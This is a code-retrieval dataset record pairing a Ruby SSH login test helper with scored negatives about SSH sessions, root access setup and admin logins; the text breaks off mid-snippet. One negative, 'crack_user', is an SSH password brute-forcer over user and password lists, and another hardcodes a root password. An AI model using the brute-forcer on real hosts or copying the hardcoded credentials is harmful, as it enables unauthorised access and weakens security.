[ "def private; end", "def examples\n @examples ||= HappinessExercises::Example.new\nend", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def initialize()\n reset!\n end", "def initialize\n \n end", "def spec; end", "def spec; end", "def initialize\n # reset\n end", "def init; end", "def init; end", "def init; end", "def init; end", "def initialize\n reset!\n end", "def initialize\n reset!\n end", "def initialize\n reset!\n end", "def initialize\n reset!\n end", "def initialize\n reset!\n end", "def teardown; end", "def teardown; end", "def teardown\n super\n end", "def initialize\n reset!\n end", "def initialize\n reset!\n end", "def initialize\n reset!\n end", "def recycle; teardown; setup; end", "def initialize\n \n end", "def initialize() end", "def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def initialize\n reset!()\n end", "def initialize\n reset!\n end", "def initialize\n reset!\n end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def example\n @example ||= example_override\n end", "def teardown\r\n end", "def initialize\n self.reset!\n end", "def teardown\n end", "def teardown\n # No-op\n end", "def initialize\r\n\r\n end", "def teardown\n\t\t\t\t# Do nothing\n\t\tend", "def teardown\n # Empty\n end", "def teardown\n # Empty\n end", "def teardown\n end", "def teardown\n end", "def under_construction\n end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize\n # complete\n end", "def setup\n # noop\n end", "def teardown\n\t\t# Do nothing\n\tend", "def teardown\n\t\t# Do nothing\n\tend", "def teardown\n\t\t# Do nothing\n\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n yield self\n self\n end", "def initialize\n \n end", "def initialize\n \n end", "def initialize()\r\n\r\n end", "def initialize\n # nothing here for now\n end", "def initialize\n reset\n end", "def initialize\n reset\n end", "def initialize\n reset\n end", "def initialize\n reset\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end", "def teardown\n end" ]
[ "0.6768202", "0.6369563", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.62668824", "0.6208537", "0.62062293", "0.6201208", "0.6201208", "0.6193237", "0.61858475", "0.61858475", "0.61858475", "0.61858475", "0.61784965", "0.61784965", "0.61784965", "0.61784965", "0.61784965", "0.6168135", "0.6168135", "0.616236", "0.6158844", "0.6154391", "0.6154391", "0.6153684", "0.6148103", "0.61449957", "0.6137825", "0.6137825", "0.6135139", "0.6121122", "0.6121122", "0.6115591", "0.6115591", "0.60993576", "0.60993576", "0.60993576", "0.60993576", "0.60993576", "0.60993576", "0.60993576", "0.6098972", "0.6096458", "0.6062799", "0.6049859", "0.60405135", "0.60366255", "0.60312283", "0.60128486", "0.60128486", "0.60028994", "0.60028994", "0.6002107", "0.5994026", "0.5994026", "0.5994026", "0.5994026", "0.5994026", "0.5994026", "0.5994026", "0.5994026", "0.5994026", "0.5994026", "0.5994026", "0.5976536", "0.5970504", "0.59558505", "0.59558505", "0.59558505", "0.5954553", "0.5954553", "0.5948878", "0.59474504", "0.59474504", "0.5943791", "0.59386456", "0.59386307", "0.59386307", "0.59386307", "0.59386307", "0.59351856", "0.59351856", "0.59351856", "0.59351856" ]
0.0
-1
ssh_login attempts to log in as host_admin on all hosts from current user
def ssh_login deploy_test_on_hosts_as self.host_admin, self.hosts, "/home/#{self.host_admin}\n", "should be able to connect via ssh" do 'pwd' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ssh_login_as_root\n deploy_test_on_hosts_as 'root', self.hosts, '/root', \"Should be able to connect as root via ssh\" do\n 'pwd'\n end\n end", "def ssh_login(do_tail, ssh_hostname, ssh_username, ssh_password)\n if ssh_hostname == '' or ssh_username == '' or ssh_password == ''\n puts \"Invalid SSH credentials is given\"\n else\n Net::SSH.start(ssh_hostname, ssh_username, :password => ssh_password) do |session|\n puts \"\\n### OVERALL FETCHED TAIL LOG IN SSH CLIENT ###\"\n if session.closed?\n puts 'SSH Email File Processor is not working or FTP files are not uploaded'\n else\n puts \"SSH Login is successfull : #{ssh_username}\"\n do_tail session, \"/home/apps/EMAIL_FILE_PROCESSOR/log/email_file_processor.log\"\n session.loop\n end\n end\n end\nend", "def login\n puts \"logging in\"\n tries ||= 3\n @@sftp = Net::SFTP.start('moftp.mo.gov', Rails.application.credentials[:missouri_username], password: Rails.application.credentials[:missouri_password], number_of_password_prompts: 0 )\n puts \"logon successful!\"\n rescue Net::SSH::AuthenticationFailed \n tries -= 1\n if tries > 0 \n puts \"Trying again: #{tries}\"\n retry\n else\n puts \"Logon failed. Try again later.\"\n UserMailer.login_error.deliver_now!\n @@sftp = nil\n return\n end\n end", "def login_command\n raise ActionFailed, \"Remote login not supported in #{self.class}.\"\n end", "def ssh\n tries = 1\n @ssh ||= begin\n Net::SSH.start(self, self['user'], self['ssh'])\n rescue\n tries += 1\n if tries < 4\n puts \"Try #{tries} -- Host Unreachable\"\n puts 'Trying again in 20 seconds'\n sleep 20\n retry\n end\n end\n end", "def crack_user(host)\n\tFile.open($userlist, 'r').each_line do |u|\n\t\tu=u.strip\n\t\tFile.open($passwdlist, 'r').each_line do |p|\n\t\t\tp=p.strip\n\t\t\tbegin\n\t\t\t\tputs \"\\e[1;33m[-]\\e[00m trying user: #{u} - password: #{p}\" if $debugFlag\n\t\t\t\tNet::SSH.start(host,u, :password => p)\n\t\t\trescue Net::SSH::AuthenticationFailed\n\t\t\t# rescue, other errors should be managed by caller \n\t\t\telse\n\t\t\t\tputs \"\\e[1;32m[*]\\e[00m #{host}: #{u}:#{p}\"\n\t\t\t\treturn u,p\n\t\t\tend\n\t\tend\n\tend\n\tputs \"\\e[1;31m[*]\\e[00m no password found for #{host}\"\n\treturn nil\nend", "def enable_root_ssh(ip, initial_ssh_user)\n # Capistrano uses the :password variable for sudo commands. Since this setting is generally used for the deploy user,\n # but we need it this one time for the initial SSH user, we need to swap out and restore the password.\n #\n # We special-case the 'ubuntu' user since the Canonical AMIs on EC2 don't set the password for\n # this account, making any password prompt potentially confusing.\n orig_password = fetch(:password)\n initial_ssh_password = fetch(:initial_ssh_password, nil)\n\n if initial_ssh_user == 'ubuntu' || ENV.has_key?('RUN_FROM_VAGRANT')\n set(:password, nil)\n elsif initial_ssh_password\n set(:password, initial_ssh_password)\n else\n set(:password, Capistrano::CLI.password_prompt(\"Password for #{initial_ssh_user} @ #{ip}: \"))\n end\n\n task :_ensure_key_file_present, :hosts => \"#{initial_ssh_user}@#{ip}\" do\n public_key_filename = \"#{cloud.env.key_file}.pub\"\n\n if File.exist?(public_key_filename)\n public_key = File.read(public_key_filename).chomp\n\n rubber.sudo_script 'ensure_key_file_present', <<-ENDSCRIPT\n mkdir -p ~/.ssh\n touch ~/.ssh/authorized_keys\n chmod 600 ~/.ssh/authorized_keys\n\n if ! grep -q '#{public_key}' .ssh/authorized_keys; then\n echo '#{public_key}' >> .ssh/authorized_keys\n fi\n ENDSCRIPT\n end\n end\n\n task :_allow_root_ssh, :hosts => \"#{initial_ssh_user}@#{ip}\" do\n rsudo \"mkdir -p /root/.ssh && cp /home/#{initial_ssh_user}/.ssh/authorized_keys /root/.ssh/\"\n end\n\n task :_disable_password_based_ssh_login, :hosts => \"#{initial_ssh_user}@#{ip}\" do\n rubber.sudo_script 'disable_password_based_ssh_login', <<-ENDSCRIPT\n if ! grep -q 'PasswordAuthentication no' /etc/ssh/sshd_config; then\n echo 'PasswordAuthentication no' >> /etc/ssh/sshd_config\n service ssh restart\n fi\n ENDSCRIPT\n end\n\n begin\n _ensure_key_file_present\n _allow_root_ssh\n _disable_password_based_ssh_login if cloud.should_disable_password_based_ssh_login?\n\n # If the initial_ssh_user is different than the deploy user, we can terminate the SSH connection\n # because from here on out we'll be connecting as the deploy user.\n if initial_ssh_user != fetch(:user, nil)\n teardown_connections_to(sessions.keys)\n end\n rescue ConnectionError, IOError => e\n if e.message =~ /Net::SSH::AuthenticationFailed/\n logger.info \"Can't connect as user #{initial_ssh_user} to #{ip}, assuming root allowed\"\n else\n sleep 2\n logger.info \"Failed to connect to #{ip}, retrying\"\n teardown_connections_to(sessions.keys) if e.message =~ /closed stream/\n retry\n end\n end\n\n # Restore the original deploy password.\n set(:password, orig_password)\n end", "def login_command(state)\n raise ActionFailed, \"Remote login is not supported in this driver.\"\n end", "def admin_login\n @driver.get \"#{$admin_host}/logout\"\n @driver.find_element(:id, \"login_user\").clear\n @driver.find_element(:id, \"login_user\").send_keys \"administrator\"\n @driver.find_element(:id, \"login_pass\").clear\n @driver.find_element(:id, \"login_pass\").send_keys \"administrator\"\n @driver.find_element(:css, \"input.but.ui-corner-all\").click\n end", "def remote_connect(host,user,password)\n log_file = File.open(File.join(\"log\",host+\".log\"),\"w+\")\n begin\n #send_as_root(host,user,password)\n @error = []\n Net::SSH.start(host,user,:password=>password) do |ssh|\n puts host+\" connected.\"\n send_all ssh\n exec ssh,log_file,\"bash #{@filename+'.sh'}\"\n end\n if @error.size!=0\n puts \"ERROR OCCURS:\"\n end\n @error.each do |str|\n puts str\n end\n end while @error.size != 0\n log_file.close\n end", "def login_command\n raise ActionFailed, \"Remote login is not supported in this transport.\"\n end", "def do_ssh\n validate_parameters\n\n auth_types = []\n auth_types << 'PASSWORD' if @password && !@password.empty?\n auth_types << \"KEY (#{@key_type})\"\n\n connection = @host\n connection += \" port #{@port}\" if @port != 0\n\n write_output(\"\\nConnecting to #{connection} as #{@user} using auth [#{auth_types.join(', ')}]\")\n\n options = {\n :host_key => @key_type,\n :password => @password,\n :port => @port == 0 ? DEFAULT_PORT : @port,\n :timeout => @timeout,\n }\n options[:keys] = [@key_path] unless @key_path.empty?\n\n session = start(@host, @user, options, @retries, @wait)\n yield(session)\n rescue PluginError\n # Re-raise\n raise\n rescue Exception => e\n raise PluginError, \"Error in SSH connection: #{e.class} #{e}\\n\" + e.backtrace.join(\"\\n\")\n ensure\n close\n end", "def run(*args)\n case args.size\n when 3\n ssh_host, ssh_user, ssh_command = args \n when 2\n ssh_host, ssh_command = args\n ssh_user = self.user\n when 1\n ssh_host, ssh_user = self.host, self.user\n ssh_command = args.first\n else\n raise ArgumentError\n end\n return ssh_host.map{|host| run(host, ssh_user, ssh_command)} if ssh_host.is_a? Array\n \n key = \"#{ssh_user}@#{ssh_host}\"\n puts \" #{key}$ #{ssh_command}\"\n @ssh_sessions[key] ||= Net::SSH.start(ssh_host, ssh_user)\n output = @ssh_sessions[key].exec!(ssh_command)\n puts output.split(\"\\n\").map{|l| \" #{key}> #{l}\"}.join(\"\\n\") if output\n output\n end", "def check_ssh_localhost\n # BatchMode=yes prevents password authentication\n # Interestingly PasswordAuthentication=no does not seem to disable it.\n unless 'success' == %x{ssh -o BatchMode=yes localhost echo success}.chomp\n abort \"You need to allow key-based SSH access to localhost for your own user.\\n\" +\n \"See http://borrelli.org/2012/05/02/hadoop-osx-sshkey_setup/\"\n end\n end", "def ssh_primary(host, cmd, cf)\n \n user = cf.get_user\n pass = cf.get_passwd\n\n begin\n ssh = Net::SSH.start(host, user, :password => pass)\n out = ssh.exec!(cmd)\n ssh.close\n puts out\n rescue StandardError => e\n puts e.to_s\n end \n\nend", "def within_ssh_session(machine)\n options = Net::SSH.configuration_for(machine['network'], true)\n options[:auth_methods] = %w[publickey none]\n options[:verify_host_key] = :never\n options[:keys] = [machine['keyfile']]\n options[:non_interactive] = true\n options[:timeout] = 5\n Net::SSH.start(machine['network'], machine['whoami'], options) do |ssh|\n yield ssh\n end\n end", "def connect\n nodes.each do |k,v|\n RSpec.configuration.rs_storage[:nodes][k] ||= {}\n\n chan = ssh_connect(:host => k, :user => 'vagrant', :net_ssh_options => {\n :config => ssh_config\n })\n\n # Copy the authorized keys from vagrant user to root then reconnect\n cmd = 'mkdir /root/.ssh ; cp /home/vagrant/.ssh/authorized_keys /root/.ssh'\n\n output << bold(color(\"#{k}$ \", :green)) << cmd << \"\\n\"\n ssh_exec!(chan, \"cd /tmp && sudo sh -c #{shellescape(cmd)}\")\n\n chan = ssh_connect(:host => k, :user => 'root', :net_ssh_options => {\n :config => ssh_config\n })\n RSpec.configuration.rs_storage[:nodes][k][:ssh] = chan\n end\n\n nil\n end", "def run_on_all_hosts(cmd = nil, &block)\n run_on_all_hosts_as self.host_admin, cmd, &block\n end", "def enable_root(host)\n host['ssh'] = {:password => host['instance'].id}\n @logger.notify(\"netscaler: nsroot password is #{host['instance'].id}\")\n #if host['user'] != 'root'\n # host.exec(Command.new(\"modify sys db systemauth.disablerootlogin value false\"), :acceptable_exit_codes => [0,1])\n # for tries in 1..10\n # begin\n # #This command is problematic as the netscaler is not always done loading\n # if host.exec(Command.new(\"modify sys global-settings gui-setup disabled\"), :acceptable_exit_codes => [0,1]).exit_code == 0 and host.exec(Command.new(\"save sys config\"), :acceptable_exit_codes => [0,1]).exit_code == 0\n # backoff_sleep(tries)\n # break\n # elsif tries == 10\n # raise \"Instance was unable to be configured\"\n # end\n # rescue Beaker::Host::CommandFailure => e\n # @logger.debug(\"Instance not yet configured (#{e})\")\n # end\n # backoff_sleep(tries)\n # end\n # host['user'] = 'root'\n # host.close\n # sha256 = Digest::SHA256.new\n # password = sha256.hexdigest((1..50).map{(rand(86)+40).chr}.join.gsub(/\\\\/,'\\&\\&'))\n # host['ssh'] = {:password => password}\n # host.exec(Command.new(\"echo -e '#{password}\\\\n#{password}' | tmsh modify auth password admin\"))\n # @logger.notify(\"netscaler: Configured admin password to be #{password}\")\n # host.close\n #end\n end", "def update_ssh(nodes, version)\n fqdns = nodes.map { |node| node.fqdn }.join(' ')\n\n ssh = Chef::Knife::Ssh.new\n ssh.ui = ui\n ssh.name_args = [ fqdns, ssh_command(version) ]\n ssh.config[:manual] = true\n ssh.config[:on_error] = :skip\n ssh.config[:ssh_user] = Chef::Config[:knife][:ssh_user] || config[:ssh_user]\n ssh.config[:ssh_password] = config[:ssh_password]\n ssh.config[:ssh_port] = Chef::Config[:knife][:ssh_port] || config[:ssh_port]\n ssh.config[:ssh_gateway] = Chef::Config[:knife][:ssh_gateway] || config[:ssh_gateway]\n ssh.config[:identity_file] = Chef::Config[:knife][:identity_file] || config[:identity_file]\n ssh.config[:host_key_verify] = Chef::Config[:knife][:host_key_verify] || config[:host_key_verify]\n ssh\n end", "def ssh_cmd_base(host_or_ip)\n return [\"sudo\", \"-i\", \"-u\", \"root\", \"--\", \"ssh\", \"-o\", \"TCPKeepAlive=no\", \"-o\", \"ServerAliveInterval=15\", \"root@#{host_or_ip}\"]\n end", "def ssh_auto_check(host, user_name, *commands)\n @logger.info(\"[SystemGateway][ssh_auto_check] Hunting for #{commands} on remote #{host}...\")\n commands.each do |command|\n begin\n ssh(host, user_name, \"which #{command}\")\n rescue => ssh_error\n @logger.error(\"[SystemGateway][ssh_auto_check] Could not find '#{command}' via SSH: #{ssh_error.inspect}\")\n raise('Invalid SSH configuration')\n end\n end\n @logger.info('[SystemGateway][ssh_auto_check] Pass!')\n end", "def connect!\n @ssh = Net::SSH.start(@host, @user, :password => @pass)\n end", "def login_with_puppet_access_on(host, credentialed_dispatcher, opts={})\n\n lifetime = opts[:lifetime] || nil\n unless host.platform =~ /win/\n\n user = credentialed_dispatcher.credentials.login\n password = credentialed_dispatcher.credentials.password\n args = ['login']\n args.push \"--lifetime #{lifetime}\" if lifetime\n puppet_access_on(host, *args, {:stdin => \"#{user}\\n#{password}\\n\"})\n else\n\n # this is a hack\n # puppet-access needs to support alternative to interactive login\n # create .puppetlabs dir\n cmd = Beaker::Command.new('echo', ['%userprofile%'], :cmdexe => true)\n user_home_dir = host.exec(cmd).stdout.chomp\n win_token_path = \"#{user_home_dir}\\\\.puppetlabs\\\\\"\n host.exec(Beaker::Command.new('MD', [win_token_path.gsub('\\\\', '\\\\\\\\\\\\')], :cmdexe => true), :accept_all_exit_codes => true)\n\n token = credentialed_dispatcher.acquire_token_with_credentials(lifetime)\n create_remote_file(host, \"#{win_token_path}\\\\token\", token)\n end\n end", "def start_ssh(node, user=nil)\n user ||= Settings::USER[:name]\n unless user.eql? Settings::USER[:name]\n ask(\"Enter your password: \") { |q| q.echo = false }\n @password = pwd\n end\n @node = node\n @user = user\n @ssh = get_ssh_session\n abort \"No ssh session found\" if @ssh.nil?\n @ssh\n end", "def _ssh(path_of_servers, sshpass_command, user_exec_command)\n if path_of_servers.size == 0\n return \"#{sshpass_command} #{user_exec_command}\"\n end\n\n server = path_of_servers.shift\n #shell command needs double quote's escape\n sshpass_command += \"\\\"#{one_ssh_str(server)}\"\n _ssh(path_of_servers, sshpass_command, user_exec_command)\n end", "def connect(&block)\n begin\n Puppet.debug \"Trying to connect to #{host} as #{user}\"\n @ssh = Net::SSH.start(host, user, :port => port, :password => password, :timeout => timeout,\n :paranoid => Net::SSH::Verifiers::Null.new,\n :global_known_hosts_file=>\"/dev/null\")\n rescue TimeoutError\n raise TimeoutError, \"SSH timed out while trying to connect to #{host}\"\n rescue Net::SSH::AuthenticationFailed\n raise Puppet::Error, \"SSH auth failed while trying to connect to #{host} as #{user}\"\n rescue Net::SSH::Exception => error\n raise Puppet::Error, \"SSH connection failure to #{host}\"\n end\n\n @buf = ''\n @eof = false\n @channel = nil\n @ssh.open_channel do |channel|\n channel.request_pty {|ch, success| raise \"Failed to open PTY\" unless success}\n\n channel.send_channel_request('shell') do |ch, success|\n raise 'Failed to open SSH SHELL Channel' unless success\n\n ch.on_data {|ch, data| @buf << data}\n ch.on_extended_data {|ch, type, data| @buf << data if type == 1}\n ch.on_close {@eof = true}\n\n @channel = ch\n expect(default_prompt, &block)\n return\n end\n end\n @ssh.loop\n end", "def simultaneous_login!\n redirect_to root_path if current_admin && current_account\n end", "def login_guest()\n login(:guest)\n end", "def do_secure_accounts(instance)\n client = Client.open(instance, :no_password => true)\n q1 = \"UPDATE mysql.user SET Password = PASSWORD(\\'#{ROOT_PASSWORD}\\') where User = \\'root\\'\"\n q2 = \"UPDATE mysql.user SET Password = PASSWORD(\\'#{ROOT_PASSWORD}\\') where User = \\'\\'\"\n # q3 = \"CREATE USER \\'root\\'@\\'%.#{REPLICATION_DOMAIN}\\' IDENTIFIED BY \\'#{ROOT_PASSWORD}\\'\"\n # For testing with clients whose DHCP assigned IP address is not in DNS.\n q3 = \"CREATE USER \\'root\\'@\\'%' IDENTIFIED BY \\'#{ROOT_PASSWORD}\\'\"\n q4 = \"GRANT ALL PRIVILEGES ON *.* to \\'root\\'@\\'%\\' WITH GRANT OPTION\"\n q5 = \"FLUSH PRIVILEGES\"\n if client\n [q1, q2, q3, q4, q5].each do |query|\n puts query\n client.query(query)\n end\n end\n rescue Mysql2::Error => e\n puts e.message\n ensure\n client.close if client\n end", "def ssh\n @ssh ||= Net::SSH.start(self, self['user'] || \"root\" , self['ssh'])\n end", "def enable_root(host)\n if host['user'] != 'root'\n copy_ssh_to_root(host, @options)\n enable_root_login(host, @options)\n host['user'] = 'root'\n host.close\n end\n end", "def ssh_session\n retry_flag=true\n @log.debug \"ssh is #{@config['ssh'].inspect}\"\n ssh_config = @config['ssh'].clone\n host = ssh_config['host']\n ssh_config.delete('host')\n user = ssh_config['user']\n ssh_config.delete('user')\n # Convert strings to symbols..\n ssh_config = ssh_config.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n ssh_config[:port] = @vm_ssh_port\n begin\n Net::SSH.start(host,user,ssh_config) do |session|\n yield session\n end\n rescue EOFError => e\n raise(e) unless retry_flag\n retry_flag = false\n @log.info \"SSH session creation failed, retrying!\"\n retry\n end\n end", "def exec_login\n if core_createSession(params[:username], params[:password])\n redirect_to lato_core.root_path\n else\n flash[:warning] = CORE_LANG['superusers']['login_error']\n redirect_to lato_core.login_path\n end\n end", "def set_ssh_user(username, password)\n # Sets the credentials for a the remote SSH user\n @username = username\n @password = password\n end", "def _login(meth, *args)\n begin\n @session = _do_call(\"session.#{meth}\", args)\n rescue Errors::HostIsSlave => e\n @uri = @uri.dup\n @uri.host = e.description[0]\n @uris.unshift(@uri).uniq!\n @client = nil\n retry\n end\n\n @login_meth = meth\n @login_args = args\n after_login\n true\n end", "def admin_logged_in?\n #if session[:logged_in] == true && (session[:host_id] == 670999089 || session[:host_id] == 753452019 || session[:host_id] == 100000182246137)\n if session[:logged_in] == true && User.find(session[:id]).admin == true\n true\n else\n false\n end\n\n end", "def feature_login_admin\n before(:each) do\n admin = create(:attached_admin)\n\n visit admin_root_path\n fill_in('user_email', with: admin.email)\n fill_in('user_password', with: admin.password)\n click_button 'Login'\n end\n end", "def check_for_localhome(user,system_user)\n host = 'ovid02.u.washington.edu'\n Net::SSH.start(host,system_user, {auth_methods: %w( publickey )}) do |ssh|\n output = ssh.exec!(\"cpw -poh #{user}\")\n if output =~ /Unknown/\n return \"No MySQL Localhome Set for #{user}\".red\n else\n return \"Localhome for #{user}: #{output}\"\n end\n end\n end", "def query_ssh(host, user, password, &ssh)\n Net::SSH.start(host, user, :password => password) do |ssh|\n yield ssh\n end\n\n rescue Errno::ETIMEDOUT\n message = \"SSH connection to #{host} has timed out.\"\n $logger.log_error(message, 'cluster')\n \n rescue Errno::ECONNREFUSED\n message = \"SSH connection to #{host} refused.\"\n $logger.log_error(message, 'cluster')\n \n rescue Errno::EHOSTUNREACH\n message = \"SSH connection to #{host} could not be established.\"\n $logger.log_error(message, 'cluster')\n \n rescue => error\n message = \"SSH connection to #{host} failed because of: #{error}.\"\n $logger.log_error(message, 'cluster')\n end", "def become\n return respond_with_status(401) unless current_user.admin? # double check\n login_as(resource)\n redirect_to user_url\n end", "def dup_ssh(&block)\n Snapsync.debug \"Opening new ssh session: \"+uri.to_s\n Net::SSH.start(uri.host, uri.user, password: uri.password, non_interactive: true, &block)\n end", "def connect\n return true if connected?\n\n cmd = ssh_cmd quote_cmd(LOGIN_LOOP), :sudo => false\n\n @parent_pid, inn, out, err = popen4 cmd.join(\" \")\n inn.sync = true\n\n data = \"\"\n ready = nil\n start_time = Time.now.to_i\n\n until ready || out.eof?\n data << out.readpartial(1024)\n ready = data =~ /ready/\n\n raise TimeoutError if timed_out?(start_time, LOGIN_TIMEOUT)\n end\n\n unless connected?\n disconnect\n host_info = [@user, @host].compact.join(\"@\")\n raise ConnectionError, \"Can't connect to #{host_info}\"\n end\n\n inn.close rescue nil\n out.close rescue nil\n err.close rescue nil\n\n @parent_pid\n end", "def run_on_a_host_as(userid, host, cmd = nil, &block)\n login = \"#{userid}@#{host}\"\n match = Regexp.new(match) if match.is_a? String\n raise ArgumentError.new('match expression cannot be empty') if match =~ ''\n\n rsp = nil\n err_rsp = nil\n cmd = block.call if block_given?\n raise ArgumentError.new('cmd cannot be empty') if cmd.empty?\n\n begin\n ssh_session = Net::SSH.start(host, userid, :timeout => self.ssh_timeout, :languages => 'en')\n raise \"Unable to establish connecton to #{host} as #{userid}\" if ssh_session.nil?\n\n ssh_session.open_channel do |channel|\n channel.exec(cmd) do |ch, success|\n ch.on_data do |chn, data|\n rsp ||= ''\n rsp += data.to_s\n end\n\n ch.on_extended_data do |chn, data|\n err_rsp ||= ''\n err_rsp += data.to_s\n end\n end\n \n channel.wait\n end\n\n # must do this or the channel only runs once\n ssh_session.loop(5)\n\n ssh_session.close\n rescue Exception => e\n err_rsp = \"error talking to #{host} as #{userid}: #{e.message}\"\n ssh_session.shutdown! unless ssh_session.nil?\n end\n [rsp, err_rsp, cmd]\n end", "def authenticate_admin\n unless current_user.admin?\n redirect_to merge_default_redirect_params(site_path, scpbr: params[:scpbr]), alert: 'You do not have permission to access that page.' and return\n end\n end", "def authenticate_admin\n unless current_user.admin?\n redirect_to merge_default_redirect_params(site_path, scpbr: params[:scpbr]), alert: 'You do not have permission to access that page.' and return\n end\n end", "def connect_login(global = true)\n ftpsock = connect(global)\n\n\n if !(user and pass)\n print_status(\"No username and password were supplied, unable to login\")\n return false\n end\n\n print_status(\"Authenticating as #{user} with password #{pass}...\")\n res = raw_send_recv(\"a001 LOGIN #{user} #{pass}\\r\\n\")\n\n if (res !~ /^a001 OK/)\n print_status(\"Authentication failed\")\n return false\n end\n\n return true\n end", "def return_client()\n Net::SSH.start('qa-host','root',:password=>'fortigate')\nend", "def ssh_user(val=nil)\n from_setting_or_image_info :ssh_user, val, 'root'\n end", "def server_login\n loaded_session=false\n begin\n if !env[\"session_file\"].nil? && !env[\"session_file\"].empty?\n path=File.expand_path(env[\"session_file\"])\n# puts \"Attempting to load previous session keys from #{env[\"session_file\"]}\" if env[\"echo\"]\n yaml=YAML::load(File.open(path))\n if yaml[\"auth\"]\n yaml[\"auth\"].each {|k,v|\n if v.nil? #cleanup for old auth file\n k=\"global\"\n v=k\n end\n ServerCredentials.instance[k][\"auth\"]=v\n }\n end\n credentials=ServerCredentials.instance[env[\"default_server\"]]\n if credentials[\"auth\"]\n puts \"Attempting to use previous key\" if env[\"echo\"]\n loaded_session=ZabbixServer.instance.use_auth(credentials)\n puts \"#{env[\"server\"]} connected\" if env[\"echo\"]\n puts \"API Version: #{ZabbixServer.instance.version}\" if env[\"echo\"]\n end\n end\n rescue Errno::ECONNREFUSED, Errno::ENOENT, ZbxAPI_ExceptionLoginPermission\n puts \"Failed to load previous session key\" if env[\"echo\"]\n# return\n end\n\n\n credentials=ServerCredentials.instance[env[\"default_server\"]] if credentials.nil?\n\n if !loaded_session && !credentials[\"server\"].nil? &&\n !credentials[\"username\"].nil? && !credentials[\"password\"].nil?\n puts \"Found valid login credentials, attempting login\" if env[\"echo\"]\n begin\n\n #\n ZabbixServer.instance.login(credentials)\n\n rescue ZbxAPI_ExceptionBadAuth => e\n puts e.message\n rescue ZbxAPI_ExceptionLoginPermission\n puts \"Error Invalid login or no API permissions.\"\n rescue ZbxAPI_ExceptionBadServerUrl\n puts \"Error connecting to server\" #TODO Fix message to show hostname\n end\n end\n\n end", "def test_on_node\n {\n # TODO: Access the user correctly when the user notion will be moved out of the ssh connector\n \"#{@deployer.instance_variable_get(:@actions_executor).connector(:ssh).ssh_user == 'root' ? '' : \"#{@nodes_handler.sudo_on(@node)} \"}cat /etc/passwd\" => proc do |stdout|\n passwd_users = stdout.map { |passwd_line| passwd_line.split(':').first }\n missing_users = @nodes_handler.\n select_confs_for_node(@node, @config.users_that_should_be_present).\n inject([]) { |merged_users, users_info| merged_users + users_info[:users] }.\n uniq - passwd_users\n error \"Missing local users that should be present: #{missing_users.join(', ')}\" unless missing_users.empty?\n extra_users = passwd_users & @nodes_handler.\n select_confs_for_node(@node, @config.users_that_should_be_absent).\n inject([]) { |merged_users, users_info| merged_users + users_info[:users] }.\n uniq\n error \"Extra local users that should be absent: #{extra_users.join(', ')}\" unless extra_users.empty?\n end\n }\n end", "def config_root_ssh(vim, vm, auth, state)\n clear_line\n print '[ ' + 'INFO'.green + \" ] Configuring root ssh access. Setting to state #{state}.\"\n if state == 'enabled'\n programpath = '/bin/sed'\n arguments = '-i \\'s/\\(^PermitRootLogin no\\)/PermitRootLogin yes/g\\' /etc/ssh/sshd_config'\n elsif state == 'disabled'\n programpath = '/bin/sed'\n arguments = '-i \\'s/\\(^PermitRootLogin yes\\)/PermitRootLogin no/g\\' /etc/ssh/sshd_config'\n else\n clear_line\n puts '[ ' + 'ERROR'.red + \" ] Invalid state set for configure_root_ssh. State: #{state}\"\n raise 'ERROR'\n end\n spec = { :programPath => programpath, :arguments => arguments }\n\n #run command through GuestOps\n pid = vim.serviceContent.guestOperationsManager.processManager.StartProgramInGuest(:vm => vm, :auth => auth, :spec => spec) \n\n #list process of command and get exit code\n process = vim.serviceContent.guestOperationsManager.processManager.ListProcessesInGuest(:vm => vm, :auth => auth, :pids => [pid]).first\n\n exit_code = vim_wait(vim, vm, auth, process)\n\n #restart sshd\n print '[ ' + 'INFO'.green + \" ] Restarting the sshd service\"\n spec = { :programPath => '/sbin/service', :arguments => 'sshd restart' }\n\n #run command through GuestOps\n pid = vim.serviceContent.guestOperationsManager.processManager.StartProgramInGuest(:vm => vm, :auth => auth, :spec => spec) \n\n #list process of command and get exit code\n process = vim.serviceContent.guestOperationsManager.processManager.ListProcessesInGuest(:vm => vm, :auth => auth, :pids => [pid]).first\n\n exit_code = vim_wait(vim, vm, auth, process)\n\n if exit_code == 0\n clear_line\n print '[ ' + 'INFO'.green + \" ] Succesfully restart SSHD\"\n return 'SUCCESS'\n else\n clear_line\n puts '[ ' + 'ERROR'.red + \" ] Failed to succesfully restart sshd on #{vm}.\"\n raise 'ERROR'\n end\nend", "def login_admin_anna\n user = User.find_by(name: \"Anna\")\n log_in(user)\n end", "def login\n self.class.trace_execution_scoped(['Custom/login/find_user']) do\n @u = (User.find_by_primary_email(params[:username].downcase) || User.find_by_nickname(params[:username].downcase.to_s)) if params[:username]\n end\n\n self.class.trace_execution_scoped(['Custom/login/if_block']) do\n if @u and @u.has_password? and @u.valid_password?(params[:password])\n @user = @u\n elsif @u and (params[:password] == \"anonymous\") and (@u.user_type == User::USER_TYPE[:anonymous])\n @user = @u\n else\n query = {:auth_failure => 1, :auth_strategy => \"that username/password\"}\n query[:redir] = params[:redir] if params[:redir]\n redirect_to add_query_params(request.referer || 